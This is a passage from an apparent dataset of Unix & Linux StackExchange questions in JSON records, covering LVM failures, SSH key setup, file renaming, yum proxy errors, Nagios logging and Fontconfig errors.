Couldn't fill logical volume maps. logical extent (0) already mapped. Couldn't fill logical volume maps. logical extent (0) already mapped. Couldn't fill logical volume maps. Volume group for uuid not found: GC3toI0uhKos5KLH0OJ6uMFppc9pSSyl00000000000000000000000000000001 Failed to activate new LV. After that, I cannot use any lvm command anymore, e.g., `lvdisplay`, `vgdisplay` etc. It always says something like this: # vgdisplay logical extent (0) already mapped. Couldn't fill logical volume maps. logical extent (0) already mapped. Couldn't fill logical volume maps. Volume group \"raid\" not found Right now, `secured` is still mounted and I can access the data. I am very worried that data may be lost when I reboot. What is going on here? What did I do wrong and can I somehow fix this?"} {"_id": "87908", "title": "How do you empty the buffers and cache on a Linux system?", "text": "Prior to doing some benchmarking work how would one free up the memory (RAM) that the Linux Kernel is consuming for its buffers and cache?"} {"_id": "94331", "title": "How can I delete a word backward at the command line (bash and zsh)?", "text": "How can I delete a word backward at the command line? I'm truly used to some editors deleting the last 'word' using ctrl+backspace, and I'd like that functionality at the command line too. I am using Bash at the moment and although I could jump backward a word and then delete forward a word, I'd rather have this as a quick-key, or event as ctrl+backspace. How can accomplish this?"} {"_id": "105253", "title": "How do I remove the 'split lines' error in Bluefish?", "text": "How can I stop this error from occurring **every time** I start Bluefish editor? _Of course, apart from shortening long lines..._ ![error](http://i.stack.imgur.com/74aSo.png) Bluefish 2.2.4, running on Fedora 19. **Edit:** I have done this in settings: ![editor](http://i.stack.imgur.com/hEGz1.png) Which annoyingly, had no effect at all..."} {"_id": "9255", "title": "Bash: why isn't \"set\" behaving like I expect it to?", "text": "I have observed that only the values of exported variables are appended to the my PATH variable via my Mac OS X .bash_profile. Whereas, the values of locally set variables cannot. Why can't local variables be appended to the path? * * * \u201cYou've misinterpreted something, but what? Post the code that puzzles you. \u2013 Gilles yesterday\u201d Please consider this snippet, where I set the MONGODB variable as: set MONGODB=\"/usr/local/mongodb/bin\" export PATH=${PATH}:${MONGODB} I source .bash_profile in terminal. I see the following echo ... PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin: Whereas, if I export MONGODB instead, and source my .bash_profile, I see the following echo ... PATH=~/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/local/mongodb/bin Perhaps, using \"set\" is improper?"} {"_id": "90523", "title": "What packages are installed by default in Debian? Is there a term for that set? Why some of those packages are `automatically installed` and some not?", "text": "It's a very simple question, but I wonder, is there a term to refer to the subset of packages that is automatically installed by Debian distribution? I though that it had something to do with packages priorities, but it doesn't seem to be the case, cause there are packages of all the priority levels among the packages installed by default. Also, some of those packages of initial subset have `automatically installed` flag, e.g. `wireless-tools`. So they will be automatically removed if packages of the initial subset, depending on them, are manually removed. I wonder, does the installation tool keep only a list of packages to be considered manually installed and installs their dependencies automatically? **Answer to the first two questions:** After installing the core Debian utilities, Debian installer seems to invoke `tasksel` to carry out installation \"tasks\". Among the typical tasks are \"standard\" task and \"laptop\" task. From tasksel page: > \"standard\" task > > The standard task is a special task used by Debian Installer. It actually > relies on the packages' priority. What does the \"standard system\" task > include? > > `tasksel --task-packages standard` > > which is an aptitude search string that equates to > > `aptitude search ~pstandard ~prequired ~pimportant -F%p` So `tasksel` installs `standard`, `required` and `important` packages. > \"laptop\" task > > The laptop task is a special task use by Debian Installer, to pull the > packages useful on a laptop: * wireless-tools * acpi-support * cpufrequtils * acpi * wpasupplicant * powertop * acpid * apmd * pcmciautils * pm-utils * anacron * avahi-autoipd * bluetooth > Desktop See https://wiki.debian.org/DebianDesktop/Tasks"} {"_id": "63028", "title": "Vino on Gnome DE Fedora 18 listening on 0.0.0.0", "text": "Listening IPv4://0.0.0.0:5900 After a bit of searching I found this in an error log somewhere. I appreciate the vagueness of this but how do I configure the ip vino should be listening on? also I cannot find the location of the vino binary either. It's not in `/usr/bin/` where the client vinagre is. edit: once a session is created locally on the machine in question vino does start listening on 5900, which i guess is the whole point of remote desktop as opposed to remote x window tunnelling (ie you want someone to log in remotely to an existing session). But I still cannot create a remote desktop session using vino from a remote client (I use remmina on the client machine) over the lan. Client-wise Remmina just reports [VNC]ConnectClientToTcpAddr6: connect [VNC]ConnectToTcpAddr: connect [VNC]Unable to connect to VNC server and I can create a remote x window ssh tunnel so there is no problem connecting to the box."} {"_id": "10706", "title": "setting up ssh public key", "text": "Okay, so I'm trying to setup a login for logging in with ssh, using a public key. First, I am using puttygen to generate a rsa-ssh2 public key using a passphrase. I followed the directions and generated the key. I saved the private key in its own file for putty and puttygen also generated the public key. In putty I set it up to use the private key file and use rsa-ssh2 etc... So I c/p'd my houtput ssh2 public key stuff from puttygen and on the server, I put that into username/.ssh/authorized_keys So I tried to then login through putty and first it prompted me for my username instead of asking for passphrase, and then when I entered it in (I tried both username and passphrase) it said my public key was invalid. I thought maybe I somehow c/p'd or formatted the info into authorized_keys wrong, so I went back and double checked. I made sure it was all on one line, properly spaced etc... I also checked in the following file `/etc/ssh/ssh_config` and I have the following: IdentityFile ~/.ssh/id_rsa I tried renaming my authorized_keys file to id_rsa and no joy. I tried changing that line in ssh_config to IdentityFile ~/.ssh/authorized_keys ...and no joy. I went back to thinking maybe my public key was malformed or that putty wasn't configured properly so I asked a friend to make a temp account for me on his server and add my public key and I was able to login through putty just fine...when I connected to his server, it prompted me for the passphrase for my key and logged me in just fine. So he suggested I look at that stuff above but no joy and he doesn't know what else to check soo...I guess I'm appealing to the experts here :P thoughts?"} {"_id": "128857", "title": "mplayer not sending the correct user-agent", "text": "I am trying to play a stream through mplayer. Here is the command I execute: mplayer -user-agent \"PS4 libhttp/1.60\" -cache 8192 -v ffmpeg://http://the_stream_url.m3u8 The stream does not play due to a `403 - Forbidden error`. This is expected if the user-agent is not correctly set. What makes me think the user-agent is not read correctly is that every HTTP request shows this user-agent instead: User-Agent: Lavf/55.33.100 Is there anything I did not understand or do correctly? Also note that I can correctly play the stream through VLC by using the same URL and `:http-user-agent=PS4 libhttp/1.60` as the edit options. Here is the full log, if needed."} {"_id": "128852", "title": "encrypted ext3 damaged; how to proceed?", "text": "My home partition on a Debian wheezy install is an encrypted LVM volume. It is ext3. Earlier today, I had a weird message in a terminal window about an attempt to write to a file in my `/home` tree failing due to having a read only file system. I rebooted and ended up with an error message saying `/dev/sda1 is reported as clean. fsck.ext3`, which runs automatically and reports that there is no such device as `/dev/mapper/sda1_crypt` and reports exit code 8. I get dropped to a maintenance shell and told there was an attempt to write a log to `/var/log/fsck/checkfs`. That log reads: [Timestamp] fsck from util-linux 2.20.1 /dev/mapper/sda1_crypt: Super blocks need_recovery flag is clear, but journal has data. /dev/mapper/sda1_crypt: Run journal anyway /dev/mapper/sda1_crypt: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY (i.e., without -a or -p options) fsck died with exit status 4 I ran $ fsck -vnM /dev/mapper/sda1 A bunch of `illegal block #nnnn (mmmmmmmmm) in inode ppppppp IGNORED` messages blew past, followed by too many blocks in Inode somenumberhere Then running additional passes to resolve blocks claimed by more than one inode It then output Pass 1B: Rescanning for multiply claimed blocks After a bit, I got a wall of Illegal block number passed to ext2fs_test_block_bitmap somenumberhere for multiply claimed block map These were followed by 2 Multiply claimed blocks in I node anothernumber: [lists of 5 and 8 block numbers] Then I got a number of stanzas like [ 3828.181915] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 [ 3828.182462] ata1.01 BMDMA stat 0x64 [ 3828.183810] ata1.01 failed command: READ DMA EXT [ 3828.185889] ata1.01 cmd 25/00:08:08:10:9c/00:00:29:00:00/f0 tag dma 4096 in [ 3828.185891] res 51/40:00:09:10:9c/40:00:29:00:00/f0 Emask 0x9 (media error) [ 3828.190071] ata1.01 status: { DRDY ERR } [ 3828.192153] ata1.01 status: { UNC } These were followed by [ 3830.509338] end_request: I/O error, deb SDA, sector 698093577 [ 3830.509841] Buffer I/O error on device dm-3, logical block 87261184 Error reading block 87261184 (Attempt to read block from filesystem resulted in short read) while reading I node and block bitmaps. Ignore error? no fsck.ext3: Can't read an block bitmap while retrying to read bitmaps for /dev/mappersfa1_crypt /dev/mapper/sda1_crypt: ******* WARNING: Filesystem still has errors ******* e2fsck: aborted /dev/mapper/sda1_crypt: ******* WARNING: Filesystem still has errors ******* And the it aborted with a warning that the filesystem still had errors. My questions are: 1. Is my data toasted? (My rigorous backup policy hasn't been rigorously followed of late; I am being punished by the universe, I am sure.) 2. What can/ought I to do now? 3. Did I do the wrong thing already? 4. Will someone hold me until the shaking stops? EDIT I also asked on my local LUG mailing list. The advice I got there was to take an image of the drive with ddrescue and run fsck on a copy of that image. That seems sound and unlikely to make things worse. So, that is the present plan of attack, pending any better suggestions."} {"_id": "6776", "title": "Repackaging RPMs", "text": "We're using HP DataProtector for our backup environment. The installation method leaves something to be desired, and we're attempting to automate it in such a way that it makes our Unix admins cringe less often. We're a SLES/OpenSUSE shop, so we're attempting to make up a YUM repository with the DP patches. I can make the repo just fine, it's just that the patch RPMs aren't configured right. The 'Revision' field in the RPM is not set correctly, they're all \"1\" even though the master RPM I pulled them out of is correctly incrementing. I would really like to be able to rebuild these RPMs with the correct Revision, as that would allow the normal update process to deal with these patches instead of the strange way HP wants to handle these. * * * The strange way HP wants to handle these requires: * Setting up an Installation Server with all of the software. No problem. * Allowing `root` to ssh into client stations to install software that affects xinitd config * Which in turn requires a passwordless SSH public-key to be placed on all target machines so the install process can remote in w/o prompting. * Before any deployments can be made, each client must be manually SSHed to by root on the repo server in order to populate known_hosts Since we don't allow `root` logins via SSH, every time we get a patch we have to touch each server's sshd_config to allow them temporarily. We've also proven that after the initial install, subsequent patches can just be installed via `rpm` just peachy. So, we'd like to get that into a YUM repo if at all possible."} {"_id": "14831", "title": "How to change ALL the postfixes of files in a single directory, single command", "text": "> **Possible Duplicate:** > How to clean up file extensions? have a directory full of files ending with .JPG I need to change them all to .jpg How?"} {"_id": "11011", "title": "Multiple renaming files", "text": "> **Possible Duplicate:** > How to clean up file extensions? I'd like to rename files with extension .flac.mp3 to extension .mp3. I used the following command $ for i in *; do mv $i `echo $i | sed 's/.flac//g'`; done This writes for every file the following error message. mv: target `file.mp3' is not a directory Where am I doing mistake? thank you"} {"_id": "46487", "title": "File extension case sensitivity on CentOS", "text": "> **Possible Duplicate:** > How to clean up file extensions? I'm using CentOS. There are >10M images in one of my folders, which are furthur grouped into subdirectories. The issue is that some of my images are named as abc. **jpg** and others are named as xyz. **JPG**. So, when i try to access xyz.jpg, it says \"File not found\" as the extension is case-sensitive. Is there any way to rename all `JPG` to `jpg`, or a httpd config which works around this issue."} {"_id": "102647", "title": "How to rename multiple files in single command or script in Unix?", "text": "I have the below list of files aro_tty-mIF-45875564pmo_opt aro_tty-mIF-45875664pmo_opt aro_tty-mIF-45875964pmo_opt aro_tty-mIF-45875514pmo_opt aro_tty-mIF-45875524pmo_opt that I need to rename to aro_tty-mImpFRA-45875564pmo_opt aro_tty-mImpFRA-45875664pmo_opt aro_tty-mImpFRA-45875964pmo_opt aro_tty-mImpFRA-45875514pmo_opt aro_tty-mImpFRA-45875524pmo_opt Please help me out."} {"_id": "98070", "title": "Rename files in directory", "text": "How to rename files in a directory such as the following file: `PMC21375.pdf.txt`, I need to be renamed to `21375.txt`. i.e, I need to remove both `PMC` and `pdf` from each file name."} {"_id": "6773", "title": "How to find files not of a certain type?", "text": "I'm trying to find out all of the different types of files in my unorganized music folder. I've been trying this command (to list files of types besides the ones I know are in there): find zUnorganized/ -not -iname \"*.mp3\" -and -not -iname \"*.flac\" -and -not -iname \"*.MP3\" -and -not -iname \"*.wav\" -or -not -iname \"*.m4a\" -and -not -iname \"*.jpg\" But it's not working. How would I get that command work? Is there a way to do it using -regex? Thanks!"} {"_id": "92745", "title": "Could the Kernel stack of a process be empty, when a process is swapped out to a disk?", "text": "I am just curious to know whether the Kernel stack could be empty when a process is swapped out to a disk or not?"} {"_id": "92747", "title": "child process does not inherit the pending signals from the parent after a fork system call, why?", "text": "Could anybody please tell me the reason to why pending signals are not inherited by the child process? On the other hand, the child process inherits the signal handlers and signal mask from the parent, why is this done? An example would be very helpful, so that i could understand the concept much better."} {"_id": "92746", "title": "replace xen kernel with non xen kernel", "text": "I have a virtual appliance in Xen format (XVA) that I wish run to on another hypervisor (MS Hyper-V). What have I done so far: I have converted the XVA to OVF using XenConvert, this resulted in a vhd file. I created a new VM and attached the vhd to it. The VM fails to boot, I think this happens because it runs a xen dom0 kernel. This is the error: ![Error 13: Invalid or unsupported executable format](http://i.stack.imgur.com/B7i5s.png) I think I need to replace the xen kernel with a non xen kernel. Can I simply download a pre-compiled kernel (where?), boot with live cd, place it on disk and change grub.conf? **EDIT:** Trying Doug O'Neal's answer, I needed to install lvm2 (apt-get install lvm2) and mount VolGroup00. After that I installed the kernel with yum and copied it over to the boot partition. I edited grub.conf and tried to boot. System hangs after booting kernel. Any suggestions? ![hanging on boot](http://i.stack.imgur.com/MOKVJ.jpg) EDIT2: changed grub to use tty0 as console (was xvc0), now getting a little further, will troubleshoot that first. EDIT3: I have changed several references to XEN ad per @Nils answer. It is still needed to replace the kernel and I think this is currently my problem: When I run yum install kernel I am observing the following error: error opening /sys/block: No such file or directory error opening /sys/block: No such file or directory WARNING: No module xenblk found for kernel 2.6.18-348.18.1.el5 I found that error in the CentOS bug tracker: http://bugs.centos.org/view.php?id=2083 as suggested in there I tried: mkinitrd -v --with=xenblk --omit-scsi-modules --omit-raid-modules /boot/initrd-2.6.18-348.18.1.el5.img 2.6.18-348.18.1.el5 but that fails with: No module xenblk found for kernel 2.6.18-348.18.1.el5, aborting"} {"_id": "107283", "title": "How to query installed packages with specific use flag?", "text": "I want to query a installed package, and it must have specified use flag: > e.g. eix -I curl: _use flag_ Currently I am using `grep` to filter the output. I want to know if it is possible to do it in one command line."} {"_id": "73440", "title": "Problem understanding 'hash' command in a .sh file", "text": "So I wanted to install etherpad lite on a linux machine. If I try to run it, I will get the Error \"Please install node.js ( http://nodejs.org )\" the command 'which node' gives me the correct path to node js. So I went into the .sh File of Etherpad Lite and found this: #Is node installed? hash node > /dev/null 2>&1 || { echo \"Please install node.js ( http://nodejs.org )\" >&2 exit 1 } I guess it means: check for node --> if not available print line and exit. But what exactly does this code do? what does hash do? What's with all these & and > ? Anybody who can explain to me this 3 lines would be really appreciated."} {"_id": "92749", "title": "How different is I/O handling of hard disk in AIX and Redhat Linux?", "text": "I am running a hadoop I/O workload in redhat linux and have ran that in IBM AIX as well with same underlying hardware, disk and disk configuration. With the default settings on the os redhat linux is giving more I/O throuhput compared to IBM AIX. So how different is the device drivers configurations in redhat linux from IBM AIX for handling I/O from the hard disk ? I know Redhat Linux has a disk scheduling algorithm namely by default as CFQ(Completely Fair Queue), Noop scheduler, anticipatory scheduler,deadline scheduler. does these also effect the I/O throughput of the disk. and as far as i know AIX does not have these kind of scheduling algorithm. we can increase the depth of the queue in AIX but that is also not increasing the throuhput of the disk much. The device driver implementation are different in both the cases as i know is the device driver implementation of redhat linux is more efficient in handling the I/O that is why am i seeing this kind of difference ? Or is it that AIX can be optimized to get more throuhput as that of Redhat Linux ?"} {"_id": "73449", "title": "What does which's --tty-only option do?", "text": "I just realized that my sysadmin has created a global alias for `which`: alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' The `which` manpage just says: > Stop processing options on the right if not on tty. What does this mean?"} {"_id": "49568", "title": "How to get output from Nagios in a file", "text": "I have configured Nagios monitoring tool for a linux server m/c to monitor another linux host m/c(till now I am monitoring a single m/c only). I have followed the official documentation and installed nagios server on server side and NRPE daemon on client side. As per documentation the nagios is working successfully and maintaining its periodic checks for all the services that I have made it to monitor and also installed some additional plugins too. But I want to know the procedure how to get output of the monitoring hostory in a particular file in a proper format. As I have not installed the web interface through Apache, yet is there any solution for my problem Following is the log file I am getting for nagios monitoring: [1349064000] LOG ROTATION: DAILY [1349064000] LOG VERSION: 2.0 [1349064000] CURRENT HOST STATE: localhost;UP;HARD;1;PING OK - Packet loss = 0%, RTA = 0.03 ms [1349064000] CURRENT HOST STATE: remotehost;UP;HARD;1;PING OK - Packet loss = 0%, RTA = 0.17 ms [1349064000] CURRENT SERVICE STATE: localhost;Current Load;OK;HARD;1;OK - load average: 0.00, 0.00, 0.00 [1349064000] CURRENT SERVICE STATE: localhost;Current Users;OK;HARD;1;USERS OK - 7 users currently logged in [1349064000] CURRENT SERVICE STATE: localhost;HTTP;OK;HARD;1;HTTP OK HTTP/1.1 200 OK - 1889 bytes in 0.001 seconds [1349064000] CURRENT SERVICE STATE: localhost;PING;OK;HARD;1;PING OK - Packet loss = 0%, RTA = 0.04 ms [1349064000] CURRENT SERVICE STATE: localhost;Root Partition;CRITICAL;HARD;100;DISK CRITICAL - free space: / 108 MB (1% inode=61%): [1349064000] CURRENT SERVICE STATE: localhost;SSH;OK;HARD;1;SSH OK - OpenSSH_5.1 (protocol 2.0) [1349064000] CURRENT SERVICE STATE: localhost;Swap Usage;OK;HARD;1;SWAP OK - 97% free (841 MB out of 870 MB) [1349064000] CURRENT SERVICE STATE: localhost;Total Processes;OK;HARD;1;PROCS OK: 79 processes with STATE = RSZDT [1349064000] CURRENT SERVICE STATE: remotehost;CPU Load;OK;HARD;1;OK - load average: 0.08, 0.02, 0.01 [1349064000] CURRENT SERVICE STATE: remotehost;Current Users;WARNING;HARD;3;USERS WARNING - 3 users currently logged in [1349064000] CURRENT SERVICE STATE: remotehost;File Size;WARNING;HARD;3;WARN: /home/new/ctags.1p has size 13864 Byte. Warn at 13000. : [1349064000] CURRENT SERVICE STATE: remotehost;Swap Usage;OK;HARD;1;SWAP OK - 100% free (869 MB out of 870 MB) [1349064000] CURRENT SERVICE STATE: remotehost;Total Processes;OK;HARD;1;PROCS OK: 106 processes [1349064000] CURRENT SERVICE STATE: remotehost;Zombie Processes;OK;HARD;1;PROCS OK: 0 processes with STATE = Z [1349064028] SERVICE NOTIFICATION: nagiosadmin;remotehost;Current Users;WARNING;notify-service-by-email;USERS WARNING - 3 users currently logged in [1349064988] Auto-save of retention data completed successfully. [1349065258] SERVICE NOTIFICATION: nagiosadmin;remotehost;File Size;WARNING;notify-service-by-email;WARN: /home/new/ctags.1p has size 13864 Byte. Warn at 13000. : [1349065938] SERVICE NOTIFICATION: nagiosadmin;localhost;Root Partition;CRITICAL;notify-service-by-email;DISK CRITICAL - free space: / 109 MB (1% inode=61%): [1349067628] SERVICE NOTIFICATION: nagiosadmin;remotehost;Current Users;WARNING;notify-service-by-email;USERS WARNING - 3 users currently logged in [1349068588] Auto-save of retention data completed successfully. [1349068858] SERVICE NOTIFICATION: nagiosadmin;remotehost;File Size;WARNING;notify-service-by-email;WARN: /home/new/ctags.1p has size 13864 Byte. Warn at 13000. : [1349069538] SERVICE NOTIFICATION: nagiosadmin;localhost;Root Partition;CRITICAL;notify-service-by-email;DISK CRITICAL - free space: / 109 MB (1% inode=61%) Tell me please if I am wrong at something regarding this. If any more nagios info is required for this problem, let me know I will share that surely. Thanks in advance."} {"_id": "131314", "title": "Install package pacemaker-mgmt on debian wheezy", "text": "I want to install a GUI for Pacemaker on Debian Wheezy. I've seen that it is available only in the unstable branch. However I've added unstable branch to apt get sources.list deb http://ftp.de.debian.org/debian/ unstable main non-free contrib deb-src http://ftp.de.debian.org/debian/ unstable main non-free contrib I'm not able to install the packet because of unresolved dependencies: apt-get install pacemaker-mgmt Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: pacemaker-mgmt : Depends: libcib1 (>= 1.1.7) but it is not going to be installed Depends: libcrmcluster1 (>= 1.1.7) but it is not going to be installed Depends: libcrmcommon2 (>= 1.1.7) but it is not going to be installed Depends: libpe-status3 (>= 1.1.7) but it is not going to be installed E: Unable to correct problems, you have held broken packages. How can I solve this? Is there another GUI for pacemaker available which also runs on Debian Wheezy?"} {"_id": "131316", "title": "ksh, perform action when reaching loop maximal value", "text": "I am looking to write a small korn shell script doing 5 tests (by waiting some time before each one) and then, if they all fail, performing an action. I was looking at doing something like : for i in {1..5} do \"doMyTest\" #it fills a variables \"status\" (but can unfortunately fails) if [ \"$status\" ]; then #if status is filled then we can leave the loop break fi sleep 3 #else wait some time before doing another try done if [ -z \"$status\" ]; then exit 1 fi ... then the rest of my program Do you have any idea how could I do this in a better way ? It sounds a bit redundant ..."} {"_id": "131311", "title": "Moving /var, /home to separate partition", "text": "I am attempting to move some folders (such as `/var` and `/home`) to a separate partition after reading this guide: 3.2.1 Choose an intelligent partition scheme I was able to move one folder successfully following this guide. However, it doesn't seem to work for multiple folders and all my folders are dumped into the partition without proper folders. I would like to mount `/var`, `/home`, `/tmp` onto the seperate partition, can someone guide me on this?"} {"_id": "131310", "title": "Add $HOME/bin to PATH for a single user in Debian Wheezy with LXDE", "text": "In Ubuntu, if $HOME/bin exists, it will be automagically added to PATH, but this doesn't happen in Debian. How do I permanently add it to PATH for a given user, but only for him, not for all users? I want it to be valid for GUI programs also, not just for the terminal. **Edit:** To clarify, I use LXDE, and from a login manager, i.e. not `startx`. `.bashrc` does not work for programs I start outside a terminal."} {"_id": "131313", "title": "How to make sure that Thinkpad discharges external slice battery first?", "text": "The thing is that when an external slice battery pack is connected, the laptop first discharges the internal one. This is a problem because then it is impossible to switch between multiple external battery packs without powering off the laptop. It is also not possible to just disconnect the external battery pack when you e.g. need to insert it into a docking station. Thus, my question: how to change the discharge order under Linux? For my use cases following order would make much more sense: when an external slice battery is connected, first discharge it completely before using power from the internal battery. Background: For some Thinkpad models (e.g. X220) there are slice battery packs (example) available that you can connect to the bottom of the laptop (similar to a docking station). They seem to be supported well on Linux - e.g. the Gnome Shell battery applet includes both batteries (internal and external) when connected - including displaying the current capacity for each."} {"_id": "124113", "title": "Ubuntu recognize my hard drive as \u201c FREE Disk \u201d", "text": "I'm newbie in Linux world but I'm a big fan of Ubuntu. I've bought a new laptop ( TOSHIBA C55D-A-13Q ) and it had Windows 8 64-bit pre-installed . I tried to install Ubuntu alongside it but it doesnt work so i've installed windows 7 64-bit instead of it in LEGACY MODE ( as I want to keep a Windows version alongside Ubuntu and I heard that EFI is quite difficult to get linux through it ) However, when I try to install Ubuntu now it doesn't recognize my existing Windows 7 OS !! It shows that i have a \"FREE DISK of 100% unallocated space\". So the only option is to use ubuntu all over the disk but I don't want that ... Also, when I try the LiveCD version , it doesn't recognize my WIFI card ( it seems that there is no driver installed for it ) .. I am trying to install Ubuntu version 13.10 ![Screenshot](http://i.stack.imgur.com/FELcJ.jpg)"} {"_id": "124114", "title": "Yum update problems on CentOS 6.5 minimal as VMware guest", "text": "**INFO:** I am using Windows 7 Pro (64bit) with VMware Workstation version 10.0.1 . I am using CentOS(64bit) 6.5 minimal, for the first time. I am running this from my workplace network, which may use a proxy server. **Background:** I have been following this tutorial (http://1stopit.blogspot.com/2013/11/creating-centos-64-minimal-vm-with.html) As recommended in the tutorial, I configured the VM to used bridged networking, rather than NAT (which is the default). At first, when trying to run `yum update` I received a PYCURL ERROR 6, it looked like this: Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile could not retreive mirrorlist http://mirrorlist.centos.org/?release=6&arch=x86_64&repo=os error was 14: PYCURL ERROR 6 - \"Couldn't resolve host 'mirrorlist.centos.org'\" Error: Cannot find a valid baseurl for repo: base Then I tried to run `ping mirrorlist.centos.org`, which resulted in `ping:unknown host mirrorlist.centos.org` Then I tried: `ifdown eth0` then `ifup eth0`, which yielded: `Determining IP information for eth0... failed.` This below is the current contents of my file at `/etc/sysconfig/network- scripts/ifcfg-eth0`: DEVICE=eth0 HWADDR=xx:xx:xx:xx:xx:xx TYPE=Ethernet UUID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx ONBOOT=yes NM_CONTROLLED=no BOOTPROTO=dhcp (I didn't know if I should be showing my HWADDR and UUID, so I left it anonymous) Since I am trying to run this from my workplace(which may use a proxy server), I thought I would try the recommendations here http://unix.stackexchange.com/a/93428/60724, and edit `/etc/yum.conf`, I added `proxy=http://xxx.xxx.xx.xx:8080`, here is the full file of yum.conf: [main] cachedir=/var/cache/yum/$basearch/$releasever keepcache=0 debuglevel=2 logfile=/var/log/yum.log exactarch=1 obsoletes=1 gpgcheck=1 plugins=1 installonly_limit=5 bugtracker_url=http://bugs.centos.org/set_project.php? project_id=16&ref=http://bugs.centos.org/bug_report_page.php?category=yum distroverpkg=centos-release proxy=http://xxx.xxx.xx.xx:8080 #comments #metadata_expire=90 Then after that when I tried to run `yum update`, I started to receive PYCURL Error 5, rather than PYCURL Error 6, see this: running yum update results in: Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile 4&repo=os error was 14: PYCURL ERROR 5 - \"Couldn't resolve proxy 'xxx.xxx.xx.xx'\" Error: Cannot find a valid baseurl for repo:base"} {"_id": "124118", "title": "Best secure way to update back-end servers?", "text": "Our back-end servers (Redhat 5,6 mostly) are very outdated, and are not connected to the Internet for security reasons. I'm looking for the best strategy to update them, without connecting them to the Internet."} {"_id": "149148", "title": "Shell script to work on files in some directory", "text": "I am a noob in Linux hence this might come as a silly question. I have a Windows system, so I downloaded cygwin to help me execute Linux/unix commands. I need to execute a shell script on a bunch of apks stored inside a folder (got the script here). This is the script: #!/bin/bash cd $1 for filename in *.apk do unzip -d $filename.extract $filename META-INF/CERT.RSA if [ -f $filename.extract/META-INF/CERT.RSA ] then mkdir `keytool -printcert -v -file $filename.extract/META-INF/CERT.RSA|grep SerialNumber| cut -c 19-23` mv $filename `keytool -printcert -v -file $filename.extract/META-INF/CERT.RSA|grep SerialNumber| cut -c 19-23`/$filename mv `echo $filename | sed 's/\\(.*\\.\\)apk/\\1odex/'` `keytool -printcert -v -file $filename.extract/META-INF/CERT.RSA|grep SerialNumber| cut -c 19-23`/`echo $filename | sed 's/\\(.*\\.\\)apk/\\1odex/'` rm -rf $filename.extract else mkdir none mv $filename none mv `echo $filename | sed 's/\\(.*\\.\\)apk/\\1odex/'` none rm -rf $filename.extract fi done; mkdir other mv * other mv other/b399 platform mv other/f2a7 shared mv other/f2b9 media mv other/936e test In the terminal I execute the command `sh cert.sh`,but I get the below error: ![enter image description here](http://i.stack.imgur.com/wl0bV.png) Strangely,when I execute `cert.sh -` the script runs and separates my apks into different folders,but I am not sure if it runs correctly as the proper command to run a shell script is `sh cert.sh`."} {"_id": "67987", "title": "Multiple monitor with Linux", "text": "I' m installing Arch Linux with OpenBox, at the moment I've only downloaded OpenBox and tint2, but I have to install all the necessary. Before doing everything I'd like to know how to use my two monitor, showing two different desktops (desktop1 and desktop2) and if is there a way to keep on a monitor always the same desktop and instead having the possibility to have on the other monitor more than one desktop."} {"_id": "121543", "title": "Rotating a file", "text": "I have an application which write to a file. Before I run the application, I would like to rotate the file. In others move file.n to file.n+1 file to file.1. I can write a script to do this, but I was wondering if there is a simpler way to do this?"} {"_id": "140852", "title": "How to fix Fontconfig error", "text": "Whenever Fontconfig is run by an application (in my specific case, Civ V in steam), it outputs this error: Fontconfig error: \"/usr/local/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 70: non-double matrix element Fontconfig error: \"/usr/local/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 70: non-double matrix element Fontconfig warning: \"/usr/local/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 78: saw unknown, expected number Though the application doesn't crash entirely, the video freezes when this error is printed and the audio continues without error. * Is the Fontconfig error causing the problem? * How do I fix it? **Edit:** The computer is Ubuntu 14.04 32 bit. I suspect the problem is associated with fontconfig, because the video (Aspyr intro) freezes when this error is printed, exactly when the shift-tab steam community message shows. That text is malformed and bloated instead of inconspicuous. Here is the file created by `steam 2> error.txt`, which I killed after the problem. rm: cannot remove \u2018/home/seth/.steam/steam\u2019: Is a directory rm: cannot remove \u2018/home/seth/.steam/bin\u2019: Is a directory Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) Fontconfig error: \"/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 70: non-double matrix element Fontconfig error: \"/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 70: non-double matrix element Fontconfig warning: \"/etc/fonts/conf.d/10-scale-bitmap-fonts.conf\", line 78: saw unknown, expected number [0705/210154:WARNING:proxy_service.cc(958)] PAC support disabled because there is no system implementation Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) [HTTP Remote Control] HTTP server listening on port 27037. Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) Generating new string page texture 2: 48x256, total string texture memory is 49.15 KB Generating new string page texture 3: 256x256, total string texture memory is 311.30 KB Installing breakpad exception handler for appid(steam)/version(1404163764_client) Installing breakpad exception handler for appid(steam)/version(1404163764_client) Adding licenses for the following package(s): 0, 11092, 11707, 14631, 28756, 29136 roaming config store loaded successfully - 716 bytes. migrating temporary roaming config store Installing breakpad exception handler for appid(steam)/version(1404163764_client) Failed to init SteamVR because it isn't installed ExecCommandLine: \"/home/seth/.steam/ubuntu12_32/steam\" System startup time: 6.84 seconds Generating new string page texture 73: 1024x256, total string texture memory is 1.36 MB Generating new string page texture 74: 128x256, total string texture memory is 131.07 KB Generating new string page texture 75: 128x256, total string texture memory is 1.49 MB Generating new string page texture 76: 64x256, total string texture memory is 1.56 MB Generating new string page texture 77: 32x256, total string texture memory is 1.59 MB (steam:4437): LIBDBUSMENU-GLIB-WARNING **: Trying to remove a child that doesn't believe we're it's parent. (steam:4437): 